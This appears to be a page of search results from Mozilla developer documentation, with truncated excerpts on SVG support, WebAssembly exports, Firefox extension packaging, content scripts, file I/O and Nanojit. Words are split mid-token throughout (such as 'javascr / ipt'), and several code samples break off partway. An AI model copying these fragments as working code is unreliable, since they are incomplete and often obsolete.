iption of the mozilla support of the changes in svg 2. element implementation status a quick overview of the svg 1.1 elements and the current status of the native support. ...
...2. element implementation status a quick overview of the svg 1.1 elements and the current status of the native support. element notes structure module svg implemented. currentscale and currenttranslate dom attributes are implemented, but there is no pan and zoom user interface. svgsvgelement unimplemented attributes: contentscr
ipttype, contentstyletype, viewport, currentview unimplemented bindings: getintersectionlist, getenclosurelist, checkintersection, checkenclosure g implemented. defs implemented. desc implemented. only stored in the dom, no user interface. title imp...
... unimplemented bindings: getintersectionlist, getenclosurelist, checkintersection, checkenclosure g implemented. defs implemented. desc implemented. only stored in the dom, no user interface. title implemented. the title is displayed as a toolt
ip when the mouse hovers over the svg object. metadata implemented. only stored in the dom, no user interface. symbol implemented. use implemented. doesn't completely follow <svg:use> cascading rules (bug 265894). doesn't deliver events to a svgelementinstance tree (bug 265895). ...
...And 3 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
overview this article and its associated example shows how to use inline svg to provide a background picture for a form. it shows how javascr
ipt and css can be used to man
ipulate the picture in the same way you would scr
ipt regular html. ...
...ows how javascr
ipt and css can be used to man
ipulate the picture in the same way you would scr
ipt regular html. ...
... source here is the source to the example: <html> <head> <title>xtech svg demo</title> <style> stop.begin { stop-color:yellow; } stop.end { stop-color:green; } body.invalid stop.end { stop-color:red; } #err { display:none; } body.invalid #err { display:inline; } </style> <scr
ipt> function signalerror() { document.getelementbyid('body').setattribute("class", "invalid"); } </scr
ipt> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> <legend>html form</legend> <p><label>enter something:</label> <input type="text"> <span id="err">incorrect value!</span></p> <p><input type="button" value="activate!" onclick="signalerror();"></p> </fieldset> </form> <svg v...
...And 3 more matches
Exported WebAssembly functions - WebAssembly
exported webassembly functions are how webassembly functions are represented in javascr
ipt. this article describes what they are in a little more detail. exported... what? exported webassembly functions are basically just javascr
ipt wrappers that represent webassembly functions in javascr
ipt. when you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting javascr
ipt numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to javascr
ipt. you can retrieve exported webassembly functions in two ways: by calling table.prototype.get() on an existing table. by accessing a function exported from a wasm module instance...
...de your wasm module, the function is invoked, and the result is converted and passed back to javascr
ipt. you can retrieve exported webassembly functions in two ways: by calling table.prototype.get() on an existing table. by accessing a function exported from a wasm module instance via instance.exports. either way, you get the same kind of wrapper for the underlying function. from a javascr
ipt point of view, it's as if every wasm function is a javascr
ipt function too -- but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new we...
... we then get the function exported from the module, retrieve the functions it references via tbl.get() and log the result of invoking each one to the console. next, we use set() to make the othertable table contain references to the same functions as the tbl table. ...
...And 3 more matches
self - Archive of obsolete content
this article documents the self object that is available as a global in content scr
ipts. self provides: access to the options object access to the port object access to a mostly deprecated messaging api for an overview of content scr
ipts, see the main article. note that the self object in content scr
ipts is completely different from the self module, which provides an api for an add-on to access its data files and id. self properties options content-scr
ipting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content scr
ipt as a json object via the contentscr
iptoptions option. ...
...bject in content scr
ipts is completely different from the self module, which provides an api for an add-on to access its data files and id. self properties options content-scr
ipting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content scr
ipt as a json object via the contentscr
iptoptions option. ...
...r
ipting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content scr
ipt as a json object via the contentscr
iptoptions option. if you do this, the data is available to the content scr
ipt in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscr
iptfile: "./content-scr
ipt.js", contentscr
iptoptions: { a: "blah" } }); } }); // content-scr
ipt.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code. see the documentation for port. ...
...And 2 more matches
content/loader - Archive of obsolete content
provides one of the building blocks for those modules that use content scr
ipts to interact with web content, such as panel and page-mod. usage the module exports a constructor for the loader object, which inherits on(), once(), and removelistener() functions that enable its users to listen to events. loader adds code to initialize and validate a set of properties for managing content scr
ipts: contenturl contentscr
ipt contentscr
iptfile contentscr
iptwhen contentscr
iptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action. the loader is used by modules that use content scr
ipts but don't themselves load content, such as page-mod. modules that load their own content, such as panel and pag...
...this may take one ...
...rames.hiddenframe({ onready: function onready() { let frame = self._frame = this.element; self._emit('propertychange', { contenturl: self.contenturl }); } })); }, _onchange: function _onchange(e) { if ('contenturl' in e) this._frame.setattribute('src', this._contenturl); } }); loader properties contentscr
iptfile the local file urls of content scr
ipts to load. content scr
ipts specified by this property are loaded before those specified by the contentscr
ipt property. contentscr
ipt the texts of content scr
ipts to load. content scr
ipts specified by this property are loaded after those specified by the contentscr
iptfile property. contentscr
iptwhen when to load the content scr
ipts. this may take one of the following values: "start": load c...
...And 2 more matches
Listen for Page Load - Archive of obsolete content
following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console. you don't get direct access to any content hosted in the tab. ...
...d just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console. you don't get direct access to any content hosted in the tab. to access tab content you need to attach a scr
ipt to the tab using tab.attach(). this add-on attaches a scr
ipt to all open tabs. ...
...ab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console. you don't get direct access to any content hosted in the tab. to access tab content you need to attach a scr
ipt to the tab using tab.attach(). this add-on attaches a scr
ipt to all open tabs. ...
...And 2 more matches
File I/O - Archive of obsolete content
you access the file system using mozilla xpcom components. note: file objects are nsifile. for legacy reasons, there is also an nsilocalfile interface. ...
... getting files in special directories components.utils.import("resource://gre/modules/fileutils.jsm"); // get the "data.txt" file in the profile directory var file = fileutils.getfile("profd", ["data.txt"]); or the same without using fileutils.jsm: // get profile directory. var file = components.classes["@mozilla.org/file/directory_service;1"]. getservice(components.interfaces.ns
iproperties). get("profd", components.interfaces.nsifile); // or using services.jsm and ci = components.interfaces var file = services.dirsvc.get("profd", ci.nsifile); // append the file name. file.append("data.txt"); // note: "file" is an object that implements nsifile. if you want the // file system path, use file.path note: file is an object that implements nsifile. if you want t...
...nts.interfaces.nsifileurl).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other urls directly, use xmlhttprequest or netutil.asyncfetch(). also note that generally you don't need to use nsifile::path. use nsifile directly wherever possible. an example below shows how you should save a path in user prefs. storing nsifile in preferences the following two sn
ippets show the right way to store a file path in user preferences (more about preferences in mozilla): absolute path (nsifile) to store an arbitrary path in user preferences, use this code: // |file| is nsilocalfile. uses services.jsm. // 1. write path to prefs var prefs = services.prefs.getbranch("extensions.myext."); prefs.setcomplexvalue("filename", components.interfaces.nsifile, file); // 2...
...And 2 more matches
Finding window handles - Archive of obsolete content
data(ns_native_window). like this hwnd gethwnd(nsibasewindow *window) { nscomptr< nsiwidget > widget; window->getmainwidget(getter_addrefs(widget)); if (widget) return (hwnd) widget->getnativedata(ns_native_window); } yet another way to find a window handle (parent window handle) this method is for people who want to get the top level window hwnd from the window object in javascr
ipt. comparing to the method above, by using this method, you don't have to compile your component with nsiwidget.h and other bunchs of h files that should not be exposed to outside, and could change every time firefox updates, all you need is nsibasewindow.idl(it's not in gecko_sdk, get this from the latest firefox source, or http://mxr.mozilla.org/mozilla/sourc...basewindow.idl), and use xpidl to ...
...uld be a lot better. notice that by using only the c++ part of this code will get the the parent window handle of the nsibasewindow you give as a param. that means if you use the top level nsibasewindow as a param, null will be returned in the chain and cause crash of firefox, that's a bug of firefox.(https://bugzilla.mozilla.org/show_bug.cgi?id=489045) now, let's move forward. first, in javascr
ipt, the code gets the nsibasewindow we want, it's a direct child of the top nsibasewindow. var basewindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .treeowner ...
... recall that nsibasewindow -> nativehandle returns the following in the different operating systems: windows - hwnd mac os x - nswindow* linux - gdkwindow* (it ...
...And 2 more matches
Common Pitfalls - Archive of obsolete content
her extensions or core mozilla code. these are the sort of things that super-review should be catching for code that goes into the tree; avoiding these to start with saves super-reviewers a lot of effort. the first couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. ...
...t couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. this will shield you from loading <tt>javascr
ipt:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
... be able to use the i/o service because that service calls the newuri method on the appropriate protocol handler, which may be your own handler. how to do security checks for uri loads before loading a uri, one of two security checks needs to be performed: if the uri is a string that will be loaded via passing the string to nsiwebnavigation::loaduri, the one must call checkloaduristrwithprinc
ipal and pass the princ
ipal that the uri originates from as the first argument and the uri string as the second argument. in all other cases, one should call checkloaduriwithprinc
ipal and pass the princ
ipal that the uri originates from as the first argument and an nsiuri object representing the uri as the second argument. if there is no nsiuri object on hand, it is secure to call checkloaduristrwit...
...And 2 more matches
Deploying a Plugin as an Extension - Archive of obsolete content
one of the new features available in firefox 1.5 is the ability to place browser plugins in a firefox extension. this feature is particularly useful for vendors who wish to deploy the plugin even if firefox is not currently installed, or who want to use the automatic extension update mechanism to update their plugin to a newer version. historically, most people have chosen to use an install.js scr
ipt to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin. the downside to this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin. with firef...
...rowser plugin. rhapsodyplayerengine_inst_win.xpi install.rdf plugins/ license.rtf nprhapengine.dll the important file here is the install.rdf file. this contains information about our extension; all extensions have one. ...
...have one. here's what a basic install.rdf file looks like: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <em:id>rhapsodyplayerengine@rhapsody.com</em:id> <em:name>rhapsody player engine</em:name> <em:version>1.0.0.487</em:version> <em:targetapplication> <descr
iption> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>1.5.0.*</em:maxversion> </descr
iption> </em:targetapplication> </descr
iption> </rdf> you can get more detailed information about this file at install.rdf. we'll cover the basics. the id specifies a unique id that uniquely identifes this extension of th...
...And 2 more matches
Extension Packaging - Archive of obsolete content
re which can provide chrome, components, and other files to extend the functionality of an xul program. every extension must provide an install.rdf file, which contains metadata about the extension, such as its unique id, version, author, and compatibility information. after the extension files and install.rdf have been prepared, there are several ways to prepare an extension for installation: z
ip the extension directory into a user-installable xpi (xpinstall) file, unpack the extension directly into the user's application or profile directory, or register the extension in the windows registry. note: starting in gecko 2.0, xpi files are no longer unpacked when extensions are installed. instead, the xpi itself is placed in the extensions directory, and files are loaded directly out of the...
...ack the extension directly into the user's application or profile directory, or register the extension in the windows registry. note: starting in gecko 2.0, xpi files are no longer unpacked when extensions are installed. instead, the xpi itself is placed in the extensions directory, and files are loaded directly out of the package. making an extension xpi an xpi (xpinstall) file is simply a z
ip file, containing the extension files, with the install.rdf file at the root of the z
ip. users can download xpi files from a website, or from a local file, and install by opening it, or dragging it into the extension manager window. the xpi file must contain only uncompressed files, or files compressed using the deflate algorithm. the mime type recognized by firefox for xpi files is application/x...
... way will not be visible to the user. register an extension location using the windows registry external installers, such as the java runtime, may wish to install application integration points as an extension, even if the application is not yet installed. this can be accomplished on windows using the registry. multi-item extension xpis in some cases, a single xpi file may wish to install mult
iple extensions/themes. a special kind of extension xpi, called the mult
iple item package, explains how to create this kind of package. (firefox 1.5/xulrunner 1.8 required.) from the release of firefox 53, mult
iple item extension packages are no longer supported and will not load. as a consequence, these packages are no longer accepted by amo. official references for toolkit api structure...
...And 2 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
he web page (e.g., return code), your extension can set an attribute or attach child elements on the event target element (<myextensiondataelement/> in this example). you can optionally clean up the created element, or create it once when the web page loads then re-use it each time. another option is to send a return event from the extension to the web page. this can be done using the same princ
iple as the above example. there is only one extension, but there can be many active web pages. so to trigger the right event on the right page we have to tell the extension which page to call. the information we need for that is contained in evt.target.ownerdocument. we can extend the above example with some data transfer from the extension to the web page. in the following code sample 2 methods ...
...t", true, false); element.dispatchevent(evt); } function extensionanswer(evtanswer) { alert(element.getattribute("attribute3") + " " + evtanswer.target.getattribute("part1")); } basic example of similar idea, extension passes information via attributes and fires event on div in page, here. ...
... } }, false); document.head.appendchild(request); var event = document.createevent("htmlevents"); event.initevent("something-query", true, false); request.dispatchevent(event); }, callback: function(response) { return alert("response: " + (response ? ...
...And 2 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
plication to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download. taken from the extensions page. as described in the quoted text, an extension is a small application that adds something new to one or more mozilla applications. this tutorial focuses on extensions for firefox, but the same (or very similar) princ
iples apply to creating extensions for other applications such as thunderbird, seamonkey, and flock. it is also worth noting that there are differences between the definition of extension and add-on. all extensions are add-ons, but add-ons can also be themes, plugins, or language packs. this tutorial is about extension development, but themes and language packs are developed in a very similar way. ...
...ins and their development in the plugins page. firefox provides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser. the mozilla add-ons repository (amo) holds an extensive number of extensions with a wide variety of functions: content filtering (adblock plus, noscr
ipt), web application interaction (delicious bookmarks, ebay companion) and web development (dom inspector, firebug). these are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these. extensions now exist in 3 different forms: add-ons sdk extensions (also known as jetpacks), bootstrapped extensions and traditional extensions. if you're only gett...
...ng you that you are installing an unverified add-on. click "install". after the extension is installed, you'll be asked to restart firefox. installing, uninstalling, enabling and disabling add-ons require a restart to complete, with the exception of npapi plugins, add-ons sdk extensions and bootstrapped extensions. this is an important point to keep in mind if you're building an extension that man
ipulates other extensions or themes. after installing, look at the main firefox window and see if you notice anything different. did you see it? there's a new menu on the main menu, labeled "hello world!". if you open the menu and then the menu item below, you'll see a nice alert message (for some definitions of 'nice'). click on the ok button to close it. that's all the extension does. now ...
...And 2 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
search plugin needs to define an extra <url> element with its type attribute set to "application/x-suggestions+json". (this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/goss
ip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/goss
ip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box. see creating opensearch plugins for firefox to lear...
...box. see creating opensearch plugins for firefox to learn more about how to implement a search plugin. implementing search suggestion support on the server the majority of the work in handling search suggestions is actually implemented on the server side. if you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in javascr
ipt object notation (json) given a search term. when the browser wants to fetch possible matches for a search term, it then sends an http get request to the url specified by the <url> element. your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string...
... using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string. this allows firefox to verify that the suggestions match the current search term. completion list an array of suggested search terms. the array should be enclosed in square brackets. for example: ["term 1", "term 2", "term 3", "term 4"] descr
iptions this optional element is an array of descr
iptions for each of the suggestions in thecompletion list . these can be any additional information the search engine might want to return to be displayed by the browser, such as the number of results available for that search. descr
iptions are not supported in firefox, and are ignored if any are specified. query urls this optional element is ...
...And 2 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
invested into either for more than two years. i think that fact played a critical role in our team's willingness to try out something completely new. our engineering team actually needed the least convincing to convert over to a standards-based design, because they could also immediately envision the benefits to their workload and maintenance of the site. how is the site styled now that you've r
ipped out all the html-based presentation? technically, there are 13 total stylesheets used at any one time. the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override colors and background images for specific color scheme) temp file (used for styles associated with temporary features a...
...you have to have at least some tables for layout. i've been manually writing sample code for my own design prototypes for 4 or 5 years now. i used to pride myself in knowing how to reproduce any interface design down to a pixel-perfect level. a developer would tell me something wasn't possible, and i could prove otherwise every time. like other designers and html whizzes, i became a master at man
ipulating and troubleshooting tables, nesting them in intricate ways to produce any layout or effect that could be imagined. i remember one project for lycos where we had nested tables 10 levels deep. i counted them myself. it wasn't that every level was absolutely necessary to reproduce the intended design effects. but each table ensured the flexibility we needed if certain modules and pieces of c...
...o xhtml strict rules, and settled for using the xhtml transitional dtd. we were hoping to go all the way with the xhtml conversion, but our ad units and some other third-party content prevent us from doing so. our engineers also faced a huge archive of content that wasn't entered into our cms with xhtml in mind. it's true that our stories exist in a database, separated from page templates and per
ipheral formatting. but writers, editors, and producers have been inserting stories into vignette for years sans closing paragraph (</p>) tags. unquoted attributes and uppercase html tags? we've got them in spades, and they're embedded in all past stories of the database. fortunately, our chief engineer was able to write some code that scraped through the database looking for errors like this which ...
...And 2 more matches
Structure of an installable bundle - Archive of obsolete content
xulrunner applications, extensions, and themes all share a common directory structure, and in some cases the same bundle can be used as a standalone xulrunner application as well as an installable application extension. basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle descr
iption version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap scr
ipt for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf). note that other files and directories (e.g. chrome.manifest, components, defaults) in bootstrapped extensions are not processed by...
... you can no longer have platform-specific preference files in your bundle. platform-specific subdirectories: gecko 1.9.2.x and earlier note: platform-specific subdirectory support was removed in gecko 2.0. see the section platform-specific files to learn how to use platform-specific files. in some cases a single extension or application may wish to include binary component or plugins for mult
iple platforms, or theme authors might want to include mult
iple platform-specific jar files. to facilitate the first case, the extension/app loader has special sub-directories specifically for platform-specific files (starting with toolkit/gecko 1.8, firefox/thunderbird 1.5). the platform string is defined during the toolkit build process to a value unique for the combination of operating system, pr...
.../platform/linux_x86-gcc3/plugins/libmyplugin.so /platform/winnt_x86-msvc/plugins/myplugin.dll /platform/darwin_ppc-gcc3/plugins/libmyplugin.dylib because xpt files are not platform-specific, any associated xpt files would go in the generic components directory: /components/myplugin.xpt if an extension has non-binary platform-specific code (such as code which uses the windows registry from scr
ipt), it can also use just the operating system identifier as a platform-subdirectory: /platform/winnt/components/registerdoctype.js when platform-specific jar files are used, each platform directory should have its own chrome.manifest file: chrome.manifest chrome/mytheme-base.jar platform/darwin/chrome.manifest platform/darwin/chrome/mytheme-mac.jar platform/winnt/chrome.manifest platform/winnt...
...And 2 more matches
Dehydra Function Reference - Archive of obsolete content
see the dehydra object reference for details on the available object properties. process_type(type) dehydra calls this for each class, struct, enum, union, and typedef declaration. process_type is called after process_function is called for all the member functions. type is a type object representing the type that was declared. ...
...process_function(decl, body) dehydra calls this for each function definition (declarations without bodies are not included), including both top-level functions, class member functions, and inline class member functions. decl is a variable type object representing the function being processed body is an array of {loc:, statements:array of variable types} representing an outline of the function str
ipped down to variables, function calls and assignments. process_decl(decl) process_decl is called for every global variable, function, or template declaration. decl is a variable type input_end() called once at the end of the c++ source file before the compiler quits. this is useful for finalizing analyses. builtin functions the following functions are provided by dehydra and may be called by th...
...process_decl is called for every global variable, function, or template declaration. decl is a variable type input_end() called once at the end of the c++ source file before the compiler quits. this is useful for finalizing analyses. builtin functions the following functions are provided by dehydra and may be called by the user: print(msg) print a string to stdout (or stderr if the compiler is p
iping output). if the current callback is associated with a particular location, the location will be printed first. msg is a string to output to customize the location info printed set this._loc before calling print() include(file [, namespace]) include a javascr
ipt file into a namespace. file is a string representing the file to include optional: namespace is an object to include the file into.
...And 2 more matches
Developing New Mozilla Features - Archive of obsolete content
warning: the content of this article may be out of date. it was last updated in 2004. t
ips for contributing new features to mozilla. learn the codebase and coding practices before you start your feature include learning time in your schedule. mozilla is a complex codebase. our portability requirements may be new to even seasoned developers. our cross-platform component model ("xpcom") is similar to com, but you'll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. ...
...new to even seasoned developers. our cross-platform component model ("xpcom") is similar to com, but you'll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. life will be much easier if your team has one or more members who are already familiar with and to the mozilla world. develop relationsh
ips with existing developers in the area of your feature if you want to add a big new feature to mail, spend some time helping the existing mail developers. talk to the developers about fixing some of their bugs. fix some bugs. have some of your qa team get involved. once you're familiar with an area, do the completely unexpected and write a piece of documentation. developers will be grateful, and ...
...write a piece of documentation. developers will be grateful, and you'll be known as someone seriously interested in contributing. become familiar with our code review processes. have someone on your team become mozilla-savvy enough to obtain cvs access. help the existing developers to understand that you are "for real" that you have a clue about mozilla development; that your team is going to sh
ip a product. our developers get a lot of mail, and not all of it is helpful. we appreciate the attention and interest in mozilla, but the developers have to prioritize how they spend their time. help them to realize you're an informed developer who is interested and able to contribute. this will be much easier if you've been working on suggestion two. designate someone on your team to be involved ...
...And 2 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
obsolete since gecko 4.0this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning: this technology is obsolete. no active maintainer has stepped forward, and the code broke in firefox 4. the code has been removed from the mozilla source tree. xulrunner sh
ips with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. prerequisites java 1.4.2 or newer xulrunner 1.8.0.1 or newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder)...
... file[] files = null; if (aprop.equals("apluginsdl")) { files = new file[1]; files[0] = new file(libxulpath, "plugins"); } return files; } } calling xpcom ui from another thread appstartup.run() enters the main event loop and will stay there until the application exits. in order to communicate with xpcom after this point, you should use an ns
iproxyobjectmanager. following on from the above example, to create a new window, we would do the following: // first, get the event queue service. this handles all event queues in xpcom. nsieventqueueservice eventqueueservive = (nsieventqueueservice)servicemanager.getservicebycontractid("@mozilla.org/event-queue-service;1",nsieventqueueservice.ns_ieventqueueservice_iid); // next, we want to ...
...eventqueueservice.ns_ieventqueueservice_iid); // next, we want to get the ui thread, since we want to open a window. there is a static variable on the // nsieventqueueservice that contains the id of the special ui event queue. nsieventqueue eventqueue = eventqueueservive.getspecialeventqueue(nsieventqueueservice.ui_thread_event_queue); // now create a proxy for the proxy object manager. ns
iproxyobjectmanager proxy = (ns
iproxyobjectmanager)componentmanager.createinstancebycontractid("@mozilla.org/xpcomproxy;1",null,ns
iproxyobjectmanager.ns_
iproxyobjectmanager_iid); // and use the proxy object manager to create a proxy for the nsiwindowwatcher instance we created above. nsiwindowwatcher windowproxy = (nsiwindowwatcher)proxy.getproxyforobject(eventqueue,windowwatcher.ns_iwindowwatche...
...And 2 more matches
Error Console - Archive of obsolete content
onsole is deprecated in firefox, and is now only made available if you set the devtools.errorconsole.enabled preference to true. use the web console instead, for web content, or the browser console for chrome content. the error console is a tool available in most mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens. it reports javascr
ipt-related errors and warnings, css errors and arbitrary messages from chrome code. in firefox, the error console can be opened from the tools menu or by ctrl-shift-j. for information about what javascr
ipt exceptions get logged into the error console, and how to make all exceptions get logged, read the article exception logging in javascr
ipt. see setting up extension development environment#develo...
... about what javascr
ipt exceptions get logged into the error console, and how to make all exceptions get logged, read the article exception logging in javascr
ipt. see setting up extension development environment#development preferences for the preferences you should set if you want to see errors from firefox and extensions in the error console. before gecko 1.8.1 (firefox 2), it was called javascr
ipt console (see bug 265871). types of errors error usually a syntax error that prevents the program from compiling. warning usually lets the program compile but warns of bad coding and suggests design flaws. message very similar to warning, used very rarely. ...
...in the error console. before gecko 1.8.1 (firefox 2), it was called javascr
ipt console (see bug 265871). types of errors error usually a syntax error that prevents the program from compiling. warning usually lets the program compile but warns of bad coding and suggests design flaws. message very similar to warning, used very rarely. man
ipulating data displayed in error console information displayed in error console can be accessed and man
ipulated through the console service. extensions can write to the error console from javascr
ipt using components.utils.reporterror, or if you're fine with logging to the os-provided console, dump(). to bring up error console from within a browser or mail window, use the function toj...
...And 2 more matches
Repackaging Firefox - Archive of obsolete content
ges easily when the time comes to upgrade to new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates from mozilla. more about this below. ...
...eloper center), here is a basic tutorial to get you started, and some t
ips specific for creating a dex. if you already have an extension that you want to bundle with firefox, and don't want to bundle an extra extension solely to set a few defaults, you can do everything you need to do in your existing extension. however, it's still recommended that you look through this tutorial, as it contains t
ips specific for creating extensions of this type, and there are a few options that you will need to set to ensure a smooth upgrade path for users. at the very least, don't sk
ip the "important extension preferences" section below. sample dex the best way to get started is probably to look at a simple dex and modify it for your own purposes. download the sample. xpi files are specially crafted zi...
...this type, and there are a few options that you will need to set to ensure a smooth upgrade path for users. at the very least, don't sk
ip the "important extension preferences" section below. sample dex the best way to get started is probably to look at a simple dex and modify it for your own purposes. download the sample. xpi files are specially crafted z
ip files in disguise. you can use any z
ip program (winz
ip on windows, z
ip on mac or linux, etc) to extract it. this xpi has the following contents chrome.manifest components/partnerbookmarks.js defaults/preferences/partner.js install.rdf locale/ar/partner.properties locale/cs/partner.properties locale/da/partner.properties locale/de/partner.properties locale/el/partner.properties locale/en-gb/partner.properties locale/partner.properties...
...And 2 more matches
Style System Overview - Archive of obsolete content
p. style contexts each style context (nsstylecontext), which is the interface through which layout accesses the style data for a given element, points to one rule node. we create one style context per frame, since frames point to style contexts rather than the other way around. style contexts own their parents, since inheritance operates through style context parents (ugly when we have mult
iple frames per content node). there is one rule node on the path from the root rule node to the style context's rule node for each rule that the element matches. style context api the style context api allows data to be obtained through a set of structs (see nsstylestruct.h). a struct for a style context can be obtained through nsistylecontext::getstyledata. nsiframe::getstyledata does the s...
...the struct in the rule tree, on the first rule node that contributed any data, and mark dependent bits on the path up to that rule node. managing style contexts style contexts must (in most cases) be created before frames are constructed, to determine what frame to create. parent style context determines inheritance; it should always be the content parent. ...
... on the path up to that rule node. managing style contexts style contexts must (in most cases) be created before frames are constructed, to determine what frame to create. parent style context determines inheritance; it should always be the content parent. [design flaw in frame/sc relationsh
ip] three functions for creating style contexts on nsistyleset, wrapped by similarly named ones on ns
iprescontext: resolvestylecontextfor: for elements. ...
...And 2 more matches
generateCRMFRequest() - Archive of obsolete content
"keyparamsn", "keygenalgn"); this method will generate a sequence of crmf requests that has n requests. one request for each key pair that is generated. the first three parameters will be applied to every request. the "escrowauthoritycert" parameter will only be used for requests that pertain to a key that is being escrowed. after the "escrowauthoritycert" parameter, the method takes some javascr
ipt code that is invoked when the crmf request is ready. finally, there are 1 or more sets of key generation arguments. each key generation will be associated with its own request. all the requests will have the same dn. argument descr
iption "requesteddn" an rfc 1485 formatted dn to include in the certificate request. "regtoken" a value used to authenticate the us...
... value specifies which kra certificate should be used to wrap the private key being escrowed. the user will be prompted for confirmation whenever a key will be escrowed. only key exchange keys will be escrowed. if a dual use key is being generated, it will not be escrowed. the value of this argument is a base-64 encoded certificate. "crmf generation done code" this parameter is javascr
ipt to execute when the crmf generation is complete. keysizen the size in bits of the nth key to generate "keyparamsn" this string is an optional algorithm dependent parameter value. for diffie-hellman it is used to specify p and g parameters. for dsa, it will be used to specify pqg. if the key generation requires parameters and the value passed in is null, then the client wi...
...will generate the parameters on its own. currently, this value is ignored. "keygenalgn" which algorithm the generated key will support. acceptable values are (the mentioned values for keyusage pertain to the keyusage value of the certificate extension that will ultimately be in the issued certificate): "rsa-ex" - generate an rsa key for key exchange only (this will have eyenc
ipherment set for keyusage.) "rsa-dual-use" - generate a single rsa key for both signing and encryption. (this will have digitalsignature, keyenc
ipherment, and nonrepudiation set for keyusage.) "rsa-sign" - generate an rsa key for signing only. (this will have digitalsignature set for keyusage.) "rsa-nonrepudiation" - generate a single rsa key for nonrepudiation only. (this will have ...
...And 2 more matches
Nanojit - Archive of obsolete content
duces on the way from raw source code to machine code. an application using nanojit creates a nanojit::lirbuffer object to hold lir instructions. it creates a nanojit::lirbufwriter object to write instructions to the buffer. then it wraps the lirbufwriter in zero or more other lirwriter objects, all of which implement the same interface as lirbufwriter. this chain of lirwriter objects forms a p
ipeline for the instructions to pass through. each lirwriter can perform an optimization or other task on the program as it passes through the system and into the lirbuffer. once the instructions are in the lirbuffer, the application calls nanojit::compile() to produce machine code, which is stored in a nanojit::fragment. internally to nanojit, another set of filters operates on the lir as it pass...
...writer lirbufwriter out(buf); // write a few lir instructions to the buffer: add the first parameter // to the constant 2. out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction. ...
... parameter // to the constant 2. out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction. it won't be reached, but there's // an assertion in nanojit that tr
ips if a fragment doesn't end with // a guard (a bug in nanojit). lins *rec_ins = out.inssk
